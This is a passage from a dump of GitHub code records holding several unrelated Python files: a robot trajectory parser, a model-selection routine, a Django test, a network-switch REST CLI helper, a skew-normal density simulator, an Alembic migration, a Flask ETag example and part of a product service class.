e:\n        raise e\n\n    except (KeyError, OSError, RuntimeError):\n        # Invalid/Incomplete HDF5 File --> return invalid :: (None, None)\n        return None, None\n\n\ndef parse_timestamp(trajectory_dir: Path) -> str:\n    for pattern in [\n        \"%a_%b__%d_%H:%M:%S_%Y\",\n        \"%a_%b_%d_%H:%M:%S_%Y\",  # Colon\n        \"%a_%b__%d_%H_%M_%S_%Y\",\n        \"%a_%b_%d_%H_%M_%S_%Y\",  # Underscore\n        \"%a_%b__%d_%H:%M:%S_%Y\",\n        \"%a_%b_%d_%H:%M:%S_%Y\",  # Slash\n    ]:\n        try:\n            return datetime.strptime(trajectory_dir.name, pattern).strftime(\"%Y-%m-%d-%Hh-%Mm-%Ss\")\n        except ValueError as e:\n            assert (\"time data\" in str(e)) and (\"does not match format\" in str(e))\n            continue\n\n    # Invalid Trajectory Directory Path --> wonky timestamp! Check for common failure cases, then error.\n    try:\n        _ = datetime.strptime(trajectory_dir.name, \"%Y-%m-%d\")\n        raise AssertionError(f\"Unexpected Directory `{trajectory_dir}` -- did you accidentally nest directories?\")\n    except ValueError as e:\n        raise AssertionError(f\"Invalid Directory `{trajectory_dir}` -- check timestamp format!\") from e\n\n\ndef parse_trajectory(\n    data_dir: Path, trajectory_dir: Path, uuid: str, lab: str, user: str, user_id: str, timestamp: str\n) -> Tuple[bool, Optional[Dict]]:\n    \"\"\"Attempt to parse `<trajectory>/trajectory.h5` and extract relevant elements into a JSON-valid record.\"\"\"\n    try:\n        with h5py.File(trajectory_dir / \"trajectory.h5\", \"r\") as h5:\n            assert \"action\" in h5.keys(), \"Incomplete HDF5 file; no actual trajectory data logged!\"\n            trajectory_record, attrs, trajectory_length = {}, h5.attrs, int(h5[\"action\"][\"joint_position\"].shape[0])\n            exts = [\"ext1\", \"ext2\"]\n\n            # Extract Camera Information\n            camera_types, camera_extrinsics = h5[\"observation\"][\"camera_type\"], h5[\"observation\"][\"camera_extrinsics\"]\n            ctype2extrinsics = {\n                \"wrist\" if camera_types[serial][0] == 0 else exts.pop(0): {\n                    \"serial\": serial,\n                    \"extrinsics\": camera_extrinsics[f\"{serial}_left\"][0],\n                }\n                for serial in sorted(camera_types.keys())\n            }\n\n            # Compute Relative Path to `trajectory.h5`\n            hdf5_path = str(trajectory_dir.relative_to(data_dir) / \"trajectory.h5\")\n\n            # Populate Record\n            for cname, etl_fn in TRAJECTORY_SCHEMA.items():\n                trajectory_record[cname] = etl_fn(\n                    uuid=uuid,\n                    lab=lab,\n                    user=user,\n                    user_id=user_id,\n                    timestamp=timestamp,\n                    hdf5_path=hdf5_path,\n                    attrs=attrs,\n                    trajectory_length=trajectory_length,\n                    ctype2extrinsics=ctype2extrinsics,\n                )\n\n            return True, trajectory_record\n\n    except (AssertionError, KeyError, OSError, RuntimeError):\n        # Invalid/Incomplete HDF5 File --> return invalid!\n        return False, None\n", "repo_name": "AlexanderKhazatsky/R2D2", "sub_path": "r2d2/postprocessing/parse.py", "file_name": "parse.py", "file_ext": "py", "file_size_in_byte": 4475, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 25, "usage_type": "name"}, {"api_name": "h5py.File", "line_number": 28, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 26, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 46, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 56, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 56, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 63, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 70, "usage_type": "name"}, {"api_name": "h5py.File", "line_number": 74, "usage_type": "call"}, {"api_name": "r2d2.postprocessing.schema.TRAJECTORY_SCHEMA.items", "line_number": 93, "usage_type": "call"}, {"api_name": "r2d2.postprocessing.schema.TRAJECTORY_SCHEMA", "line_number": 93, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 71, "usage_type": "name"}]}
{"seq_id": "34404139159", "text": "from scipy.stats import pearsonr\nimport math\nimport numpy as np\n#利用SRC进行top selection\n\nfrom model_val_predict import model_val_predict\n#进行模型预测的模块\n'''\n输入：\n    1.在移动窗口获取的各回归器的结果，res{'base_regressor_0':[x1,x2...xw],...}字典 npa\n    2.移动窗口的真实数据，Xw:[x1,x2...xw]\n返回：\n    1.包含SRC排序的list对象res_sorted[\n    [top0_SRC_value,top0_name],[top1_SRC_value,top1_name],...[]\n    ]\n'''\n\ndef takekey(elem):\n    return elem[0]\n\n\n# def caculate_SRC_and_sort(res,Xw):\n#     res_sorted_list = []\n#     '''\n#     step1: caculate SRC\n#     '''\n#\n#     for regressor_name,regressor_res in res.items():\n#\n#         #对每一个回归器的结果进行SRC计算\n#         tao = sum([ regressor_res[i]*Xw[i] for i in range(regressor_res.shape[0])])\n#\n#         corr = (tao-((sum(Xw)*sum(regressor_res))/(Xw.shape[0])))/(((sum(regressor_res*regressor_res)-(sum(regressor_res)**2)/(Xw.shape[0]))**0.5)*(((sum(Xw**2))-((sum(Xw))**2/Xw.shape[0]))**0.5))\n#\n#         SRC = ((1-corr)/2)**0.5\n#\n#         res_sorted_list.append([SRC,regressor_name])\n#\n#     #利用存储的SRC的值对所有回归器的结果进行排序 ； 当预测越精准时，SRC的值越接近于0，所以排序选择升序\n#     res_sorted_list.sort(key=takekey, reverse=False)\n#\n#     return res_sorted_list\ndef caculate_SRC(x,y):\n    c = pearsonr(x,y)[0]\n    rn = math.sqrt((1-c)/2)\n    return rn\n\n\ndef top_k_selection(model_list, data_train_npa, data_test_npa, val_length_int, lim_float, tp1_int,parameter_set_dic, v_train_npa, v_test_npa):\n    \"\"\"\n\n    :param model_list: 存储model的数据结构\n    :param data_train_npa: 训练集，[[target1,lagn,lag(n-1)...lag1],[target2,lag...]...[targetn]]\n    :param data_test_npa: 测试集 形式同训练集一样 都是np.array的数据结构\n    :param val_length_int: 验证集窗口的长度\n    :param lim_float: 针对第一轮选择出来的模型，利用lim对比各个模型的SRC值进行挑选\n    :param tp1_int: 对验证集的结果与真实数据的皮尔逊系数高低，进行个数的挑选\n    :return: model_select_index_list: 挑选出来的模型的下标 [[time_step_t_index_list]....]\n            alarm_record_list: drift 发生改变的记录 按照每个t时间步进行记录\n    \"\"\"\n    time_step_int = 0\n\n    alarm_record_list = []\n\n    model_select_index_list = []\n\n    output_val_res_list = [] #记录time_step时刻窗口所有回归器的输出值\n\n    output_m_npa = model_val_predict(model_list, data_train_npa, data_test_npa, time_step_int, val_length_int,v_train_npa, v_test_npa,parameter_set_dic)\n\n\n    output_val_res_list.append(output_m_npa)\n    '''\n    output_m_npa 是一个array,size为 w_size * (1+Num_models) 第一列为target\n    '''\n    pearsonr_record_list = []\n    # 计算target与每个输出的皮尔逊系数\n    for each_res_index in range(output_m_npa.shape[1]):\n        if(each_res_index == 0):\n            continue\n        else:\n            pearsonr_record_list.append([abs(pearsonr(output_m_npa[:, 0], output_m_npa[:, each_res_index])[0]), each_res_index-1])#！！！这里的减1，使得后边得到的下标就是model的全局下标\n\n    #排序\n    pearsonr_record_list.sort(key=takekey, reverse=True)\n\n    # model_sel 是一个list 里面的元素也是一个list ，elem = [pearsonr_value,model_index] ，取了先tp1个模型\n\n    model_sel_value_and_index = pearsonr_record_list[0:tp1_int]\n\n    model_sel_pearson_list = [elem[1] for elem in model_sel_value_and_index]\n\n    model_sel_index = []\n\n    #通过lim_float参数对选出来的数据进行二次筛选\n    for each_res in model_sel_value_and_index:\n        if(each_res[0] > lim_float):\n            model_sel_index.append(each_res[1])\n\n    if(len(model_sel_index)==0):\n        model_sel_index.append(model_sel_value_and_index[0][1])\n\n    #计算挑选出来的模型的结果与target的SRC值，然后计算最小值\n\n    min_d = min([caculate_SRC(output_m_npa[:, 0], output_m_npa[:, index+1]) for index in model_sel_pearson_list])\n\n    updated_sel_list = []\n    updated_sel_list.append(model_sel_index)\n\n    alarm_record_list.append(0)\n    time_step_int = time_step_int + 1\n\n    while(time_step_int < data_test_npa.shape[0]):\n\n        output_m1_npa = model_val_predict(model_list, data_train_npa, data_test_npa, time_step_int, val_length_int,v_train_npa, v_test_npa,parameter_set_dic)\n\n        output_val_res_list.append(output_m1_npa)\n        pearsonr_record1_list = []\n        # 计算target与每个输出的皮尔逊系数\n        for each_res_index in range(output_m1_npa.shape[1]):\n            if (each_res_index == 0):\n                continue\n            else:\n                pearsonr_record1_list.append([abs(pearsonr(output_m1_npa[:, 0], output_m1_npa[:, each_res_index])[0]), each_res_index - 1])\n\n        pearsonr_record1_list.sort(key=takekey, reverse=True)\n\n        model_sel_value_and_index1 = pearsonr_record1_list[0:tp1_int]\n\n        model_sel_pearson_list1 = [elem[1] for elem in model_sel_value_and_index1]\n\n\n        l_cor = min([caculate_SRC(output_m1_npa[:, 0], output_m1_npa[:, index + 1]) for index in model_sel_pearson_list1])\n\n        dd = min_d - l_cor\n\n        if(math.isnan(dd)):\n            dd = 0\n\n        if(abs(dd) > math.sqrt(math.log(1/0.95)/(2*output_m1_npa.shape[0]))):\n\n\n            min_d = l_cor\n            #统计新的selection 下标\n            model_sel_index1 = []\n\n            # 通过lim_float参数对选出来的数据进行二次筛选\n            for each_res in model_sel_value_and_index1:\n                if (each_res[0] > lim_float):\n                    model_sel_index1.append(each_res[1])\n\n            if (len(model_sel_index1) == 0):\n                model_sel_index1.append(model_sel_value_and_index1[0][1])\n\n            model_sel_index = model_sel_index1\n\n            updated_sel_list.append(model_sel_index)\n            alarm_record_list.append(1)\n\n        else:\n            updated_sel_list.append(model_sel_index)\n            alarm_record_list.append(0)\n\n        time_step_int = time_step_int + 1\n    model_select_index_list = updated_sel_list\n    return model_select_index_list, alarm_record_list, output_val_res_list", "repo_name": "AmoCook/Demands_prediction", "sub_path": "code/top_seletion.py", "file_name": "top_seletion.py", "file_ext": "py", "file_size_in_byte": 6210, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "scipy.stats.pearsonr", "line_number": 44, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 45, "usage_type": "call"}, {"api_name": "model_val_predict.model_val_predict", "line_number": 69, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 82, "usage_type": "call"}, {"api_name": "model_val_predict.model_val_predict", "line_number": 115, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 124, "usage_type": "call"}, {"api_name": "math.isnan", "line_number": 137, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 140, "usage_type": "call"}, {"api_name": "math.log", "line_number": 140, "usage_type": "call"}]}
{"seq_id": "209090495", "text": "from django.contrib.auth import get_user_model\nfrom django.db.models import manager\nfrom django.test import TestCase\nfrom .models import Football\n\n# Create your tests here.\nclass BlogTests(TestCase):\n\n    @classmethod\n    def setUpTestData(cls):\n        test_user = get_user_model().objects.create_user(username='testuser', password='password')\n        test_user.save()\n\n        test_Football = Football.objects.create(\n            manager = test_user,\n            player_name = 'ayman',\n            position = 'modifier'\n        )\n        test_Football.save()\n\n    def test_blog_content(self):\n        football = Football.objects.get(id=1)\n        actual_manager = str(football.manager)\n        actual_name = str(football.player_name)\n        actual_position = str(football.position)\n        self.assertEqual(actual_manager, 'testuser')\n        self.assertEqual(actual_name, 'ayman')\n        self.assertEqual(actual_position, 'modifier')", "repo_name": "ebrahimayyad11/football-api", "sub_path": "football_api_app/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 938, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.test.TestCase", "line_number": 7, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 11, "usage_type": "call"}, {"api_name": "models.Football.objects.create", "line_number": 14, "usage_type": "call"}, {"api_name": "models.Football.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "models.Football", "line_number": 14, "usage_type": "name"}, {"api_name": "models.Football.objects.get", "line_number": 22, "usage_type": "call"}, {"api_name": "models.Football.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "models.Football", "line_number": 22, "usage_type": "name"}]}
{"seq_id": "14743636546", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport requests, json, base64\n\n\ndef post_cli(auth, command):\n    url_cli = \"http://\" + auth.ipaddr + \"/rest/\" + auth.version + \"/cli\"\n    command_dict = {\"cmd\": command}\n    try:\n        post_command = requests.post(url_cli, headers=auth.cookie, data=json.dumps(command_dict))\n        cli_response = post_command.json()['result_base64_encoded']\n        decoded_response = base64.b64decode(cli_response).decode('utf-8')\n        return decoded_response\n    except requests.exceptions.RequestException as error:\n        return \"Error:\\n\" + str(error) + \" post_cli: An Error has occurred\"\n\n\n", "repo_name": "HPENetworking/pyarubaoss", "sub_path": "pyarubaoss/anycli.py", "file_name": "anycli.py", "file_ext": "py", "file_size_in_byte": 633, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.post", "line_number": 10, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 10, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 12, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 14, "usage_type": "attribute"}]}
{"seq_id": "34923774525", "text": "import scipy.stats as stats\nimport numpy as np\nfrom cde.density_simulation.BaseConditionalDensitySimulation import BaseConditionalDensitySimulation\n\n\nclass SkewNormal(BaseConditionalDensitySimulation):\n  \"\"\" This model represents a univariate skewed normal distribution.\n\n  \"\"\"\n\n  def __init__(self, random_seed=None):\n    self.random_state = np.random.RandomState(seed=random_seed)\n    self.random_seed = random_seed\n\n    # parameters of the X to distribution parameters mapping\n    self.loc_slope = 0.1\n    self.loc_intercept = 0.0\n\n    self.scale_square_param = 0.1\n    self.scale_intercept = 0.05\n\n    self.skew_low = -4\n    self.skew_high = 0.0\n\n    # x folows gaussian\n    self.x_loc = 0\n    self.x_scale = 0.5\n    self.x_dist = stats.norm(loc=self.x_loc, scale=self.x_scale)\n\n    self.ndim_x = 1\n    self.ndim_y = 1\n    self.ndim = self.ndim_x + self.ndim_y\n\n    # approximate data statistics\n    self.y_mean, self.y_std = self._compute_data_statistics()\n\n    self.has_cdf = True\n    self.has_pdf = True\n    self.can_sample = True\n\n  def _loc_scale_skew_mapping(self, X):\n    loc = self.loc_intercept + self.loc_slope * X\n    scale = self.scale_intercept + self.scale_square_param * X**2\n    skew = self.skew_low + (self.skew_high - self.skew_low) * sigmoid(X)\n    return loc, scale, skew\n\n  def _sample_x(self, n_samples):\n    return self.x_dist.rvs((n_samples,self.ndim_x), random_state=self.random_state)\n\n  def pdf(self, X, Y):\n    \"\"\" Conditional probability density function p(y|x) of the underlying probability model\n(\n    Args:\n      X: x to be conditioned on - numpy array of shape (n_points, ndim_x)\n      Y: y target values for witch the pdf shall be evaluated - numpy array of shape (n_points, ndim_y)\n\n    Returns:\n      p(X|Y) conditional density values for the provided X and Y - numpy array of shape (n_points, )\n    \"\"\"\n    X, Y = self._handle_input_dimensionality(X, Y)\n\n    locs, scales, skews = self._loc_scale_skew_mapping(X)\n\n    P = np.zeros(X.shape[0])\n    for i in range(X.shape[0]):\n      P[i] = stats.skewnorm.pdf(Y[i], skews[i], loc=locs[i], scale=scales[i])\n    return P\n\n  def cdf(self, X, Y):\n    \"\"\" Conditional cumulated probability density function P(Y < y | x) of the underlying probability model\n\n        Args:\n          X: x to be conditioned on - numpy array of shape (n_points, ndim_x)\n          Y: y target values for witch the cdf shall be evaluated - numpy array of shape (n_points, ndim_y)\n\n        Returns:\n         P(Y < y | x) cumulated density values for the provided X and Y - numpy array of shape (n_points, )\n        \"\"\"\n    X, Y = self._handle_input_dimensionality(X, Y)\n\n    locs, scales, skews = self._loc_scale_skew_mapping(X)\n\n    P = np.zeros(X.shape[0])\n    for i in range(X.shape[0]):\n      P[i] = stats.skewnorm.cdf(Y[i], skews[i], loc=locs[i], scale=scales[i])\n    return P\n\n  def simulate_conditional(self, X):\n    \"\"\" Draws random samples from the conditional distribution\n\n    Args:\n      X: x to be conditioned on when drawing a sample from y ~ p(y|x) - numpy array of shape (n_samples, ndim_x)\n\n    Returns:\n      Conditional random samples y drawn from p(y|x) - numpy array of shape (n_samples, ndim_y)\n    \"\"\"\n    X = self._handle_input_dimensionality(X)\n\n    locs, scales, skews = self._loc_scale_skew_mapping(X)\n\n    rvs = np.zeros(X.shape[0])\n    for i in range(X.shape[0]):\n      rvs[i] = stats.skewnorm.rvs(skews[i], loc=locs[i], scale=scales[i], random_state=self.random_state)\n    rvs = np.expand_dims(rvs, 1)\n    assert rvs.shape == (X.shape[0], self.ndim_y)\n    return rvs\n\n  def simulate(self, n_samples=1000):\n    \"\"\" Draws random samples from the unconditional distribution p(x,y)\n\n       Args:\n         n_samples: (int) number of samples to be drawn from the conditional distribution\n\n       Returns:\n         (X,Y) - random samples drawn from p(x,y) - numpy arrays of shape (n_samples, ndim_x) and (n_samples, ndim_y)\n    \"\"\"\n    X = self._sample_x(n_samples)\n\n    assert X.shape == (n_samples, self.ndim_x)\n    return X, self.simulate_conditional(X)\n\n  def mean_(self, x_cond, n_samples=None):\n    \"\"\" Conditional mean of the distribution\n    Args:\n      x_cond: different x values to condition on - numpy array of shape (n_values, ndim_x)\n\n    Returns:\n      Means E[y|x] corresponding to x_cond - numpy array of shape (n_values, ndim_y)\n    \"\"\"\n    x = self._handle_input_dimensionality(x_cond)\n    locs, _, _ = self._loc_scale_skew_mapping(x)\n    assert locs.shape == (x_cond.shape[0], self.ndim_y)\n    return locs\n\ndef sigmoid(x):\n  return 1 / (1+np.exp(-x))\n\n", "repo_name": "freelunchtheorem/Conditional_Density_Estimation", "sub_path": "cde/density_simulation/SkewNormal.py", "file_name": "SkewNormal.py", "file_ext": "py", "file_size_in_byte": 4553, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 168, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cde.density_simulation.BaseConditionalDensitySimulation.BaseConditionalDensitySimulation", "line_number": 6, "usage_type": "name"}, {"api_name": "numpy.random.RandomState", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 12, "usage_type": "attribute"}, {"api_name": "scipy.stats.norm", "line_number": 28, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 28, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 64, "usage_type": "call"}, {"api_name": "scipy.stats.skewnorm.pdf", "line_number": 66, "usage_type": "call"}, {"api_name": "scipy.stats.skewnorm", "line_number": 66, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 66, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "scipy.stats.skewnorm.cdf", "line_number": 85, "usage_type": "call"}, {"api_name": "scipy.stats.skewnorm", "line_number": 85, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 85, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 101, "usage_type": "call"}, {"api_name": "scipy.stats.skewnorm.rvs", "line_number": 103, "usage_type": "call"}, {"api_name": "scipy.stats.skewnorm", "line_number": 103, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 103, "usage_type": "name"}, {"api_name": "numpy.expand_dims", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 136, "usage_type": "call"}]}
{"seq_id": "74921543945", "text": "\"\"\"Revising freeze/thaw cycle tracking.\n\nRevision ID: 22dfaa77e9a1\nRevises: 227c832e89fb\nCreate Date: 2014-12-19 10:10:45.284405\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '22dfaa77e9a1'\ndown_revision = '227c832e89fb'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n# op module has magic attributes pylint: disable=E1101\n\ndef upgrade():\n    op.add_column('sample',\n                  sa.Column('freeze_thaw_cycles', sa.Integer))\n    op.add_column('sample', sa.Column('checkout_date',\n                                      sa.DateTime(timezone=True)))\n    # Fill the new freeze thaw cycle field. We use the maximum of all sample\n    # molecule f/t cycles.\n    op.execute('select s.sample_id, max(sm.freeze_thaw_cycles) as ftc'\n               ' into tmp_max_ftc'\n               ' from sample s'\n               ' inner join sample_molecule sm'\n               ' on sm.sample_id=s.sample_id'\n               ' where s.sample_id=s.sample_id group by s.sample_id')\n    op.execute('alter table tmp_max_ftc'\n               ' add constraint tmp_max_ftc_sample_id_uq'\n               'unique (sample_id)')\n    op.execute('update sample'\n               ' set freeze_thaw_cycles=tmp.ftc'\n               ' from tmp_max_ftc tmp'\n               ' where tmp.sample_id=sample.sample_id')\n    op.execute('drop table tmp_max_ftc')\n\n\ndef downgrade():\n    op.drop_column('sample', 'freeze_thaw_cycles')\n    op.drop_column('sample', 'checkout_date')\n\n# pylint: enable=E1101\n", "repo_name": "helixyte/TheLMA", "sub_path": "thelma/repositories/rdb/schema/migrations/versions/22dfaa77e9a1_revising_freeze_thaw_cycle_tracking.py", "file_name": "22dfaa77e9a1_revising_freeze_thaw_cycle_tracking.py", "file_ext": "py", "file_size_in_byte": 1464, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "alembic.op.add_column", "line_number": 19, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 20, "usage_type": "attribute"}, {"api_name": "alembic.op.add_column", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op.execute", "line_number": 25, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 25, "usage_type": "name"}, {"api_name": "alembic.op.execute", "line_number": 31, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 31, "usage_type": "name"}, {"api_name": "alembic.op.execute", "line_number": 34, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 34, "usage_type": "name"}, {"api_name": "alembic.op.execute", "line_number": 38, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 38, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 42, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 42, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 43, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 43, "usage_type": "name"}]}
{"seq_id": "22162153690", "text": "import os\n\nimport flask\nfrom gabbi import driver\nimport werkzeug\n\n\napplication = flask.Flask(__name__)\n\n\nclass NotModified(werkzeug.exceptions.HTTPException):\n    code = 304\n\n\n@application.route(\"/\", methods=['GET'])\ndef get_index():\n    # 이 예제는 항상 동일한 컨텐츠를 사용하므로, Etag도 고정된 값이다.\n    ETAG = \"hword\"\n\n    if_match = flask.request.headers.get(\"If-Match\")\n    if if_match is not None and if_match != ETAG:\n        raise NotModified\n\n    if_none_match = flask.request.headers.get(\"If-None-Match\")\n    if if_none_match is not None and if_none_match == ETAG:\n        raise NotModified\n\n    return flask.Response(\"hello world\",\n                         headers={\"ETag\": \"hword\"})\n\n# 아래 명령으로 테스트를 실행한다.\n# python3 -m unittest -v 25_gabbi-flask.py\ndef load_tests(loader, tests, pattern):\n    return driver.build_tests(os.path.dirname(__file__),\n                             loader, intercept=lambda: application)\n\n\nif __name__ == \"__main__\":\n    application.run()", "repo_name": "surinkim/scaling_python_kor", "sub_path": "Chapter09/25_gabbi-flask.py", "file_name": "25_gabbi-flask.py", "file_ext": "py", "file_size_in_byte": 1031, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "werkzeug.exceptions", "line_number": 11, "usage_type": "attribute"}, {"api_name": "flask.request.headers.get", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request.headers.get", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.Response", "line_number": 28, "usage_type": "call"}, {"api_name": "gabbi.driver.build_tests", "line_number": 34, "usage_type": "call"}, {"api_name": "gabbi.driver", "line_number": 34, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}]}
{"seq_id": "72459289865", "text": "from config import product_record\n\n\nclass ProductService:\n    def __init__(self, product_dao):\n        self.product_dao = product_dao\n\n    def get_category_color_size(self, session):\n        \"\"\" 상품등록 페이지에 1차카테고리, 컬러, 사이즈 리스트 받아오기\n\n        Args:\n            session: db 연결\n\n        Returns:\n            data_list : 카테고리, 컬러, 사이즈 리스트\n\n        \"\"\"\n        # 1차 카테고리 리스트 가져오기\n        category_list = self.product_dao.select_category_list(session)\n\n        # 컬러 리스트 가져오기\n        color_list = self.product_dao.select_color_list(session)\n\n        # 사이즈 리스트 가져오기\n        size_list = self.product_dao.select_size_list(session)\n\n        return {'categories': [dict(row) for row in category_list],\n                'colors': [dict(row) for row in color_list],\n                'sizes': [dict(row) for row in size_list]}\n\n    def post_register_product(self, product_data, session):\n        \"\"\" 상품 등록하기\n\n        Args:\n            product_data : 상품 데이터\n            session      : db 연결\n\n        Returns:\n\n        \"\"\"\n        # 선분이력 close_time 값 넣어주기\n        product_data['close_time'] = product_record['CLOSE_TIME']\n        product_id = self.product_dao.insert_product_data(product_data, session)\n\n        # 옵션리스트에 ordering 을 지정해서 데이터베이스에 넣어주기\n        ordering = 1\n        for option in product_data['options']:\n            option['product_id'] = product_id\n            option['ordering'] = ordering\n            self.product_dao.insert_data_option(option, session)\n            ordering += 1\n\n        # 서브 이미지 리스트가 있는 경우 for 문으로 하나씩 넣어주기\n        if product_data['image_list'] is not None:\n            for image in product_data['image_list']:\n                image['product_id'] = product_id\n                self.product_dao.insert_data_sub_image(image, session)\n\n    def get_sub_categories(self, category_id, session):\n        \"\"\" 1차 카테고리 클릭했을 때 그에 해당하는 2차 카테고리 불러오기\n\n        Args:\n            category_id : 1차 카테고리 id\n            session     : db 연결\n\n        Returns:\n            sub_category_list : 2차 카테고리 리스트\n\n        \"\"\"\n        sub_category_list = self.product_dao.select_sub_categories(category_id, session)\n\n        return sub_category_list\n\n    def get_product(self, product_id, session):\n        \"\"\" 상품 상세페이지 들어갔을 때 등록된 상품 정보 가져오기\n\n        Args:\n            product_id : 상품 id\n            session    : db 연결\n\n        Returns:\n            product : 상품 데이터\n\n        \"\"\"\n        # 상품 데이터 가져오기\n        product_data = self.product_dao.select_product_data(product_id, session)\n\n        # 상품에 해당하는 옵션들 가져오기\n        option_list = self.product_dao.select_product_options(product_id, session)\n\n        # 상품에 해당하는 서브 이미지들 가져오기\n        sub_images = self.product_dao.select_product_images(product_id, session)\n\n        # 새로운 상품 데이터 리스트 만들면서 할인가, 시간 형식 수정\n        product = {\n            'is_sell':              product_data['is_sell'],\n            'is_display':           product_data['is_display'],\n            'sub_categories_id':    product_data['sub_categories_id'],\n            'manufacturer':         product_data['manufacturer'],\n            'manufacture_date':     product_data['manufacture_date'].strftime('%Y-%m-%d %H:%M:%S')\n                                    if product_data['manufacture_date'] is not None else None,\n            'origin':               product_data['origin'],\n            'name':                 product_data['name'],\n            'simple_information':   product_data['simple_information'],\n            'main_image':           product_data['main_image'],\n            'detail':               product_data['detail'],\n            'price':                product_data['price'],\n            'discount_rate':        product_data['discount_rate'],\n            'is_discount':          product_data['is_discount'],\n            'discount_price':       round(int(product_data['price']*(100-product_data['discount_rate'])/100), -1)\n                                    if product_data['discount_rate'] != 0 else 0,\n            'discount_start_date':  product_data['discount_start_date'].strftime('%Y-%m-%d %H:%M:%S')\n                                    if product_data['discount_start_date'] is not None else None,\n            'discount_end_date':    product_data['discount_end_date'].strftime('%Y-%m-%d %H:%M:%S')\n                                    if product_data['discount_end_date'] is not None else None,\n            'minimum_sell_count':   product_data['minimum_sell_count'],\n            'maximum_sell_count':   product_data['maximum_sell_count'],\n            'code_number':          product_data['code_number'],\n            'options':              [dict(row) for row in option_list],\n            'image_list':           [dict(row) for row in sub_images]\n        }\n\n        return product\n\n    def post_update_product(self, product_data, session):\n        \"\"\" 상품 상세페이지 수정하기\n\n        Args:\n            product_data : 상품 데이터\n            session      : db 연결\n\n        Returns:\n\n        \"\"\"\n        # 선분이력 close_time 값 넣어주기\n        product_data['close_time'] = product_record['CLOSE_TIME']\n\n        # 옵션에 상품 id 값 넣어주기\n        options = product_data['options']\n        for option in options:\n            option['product_id'] = product_data['product_id']\n\n        self.product_dao.update_option(options, session)\n\n        # 서브 이미지 리스트가 비어있지 않으면 이미지리스트에 상품 id 값 넣어주어 데이터에 넣기\n        if product_data['image_list'] is not None:\n            image_list = 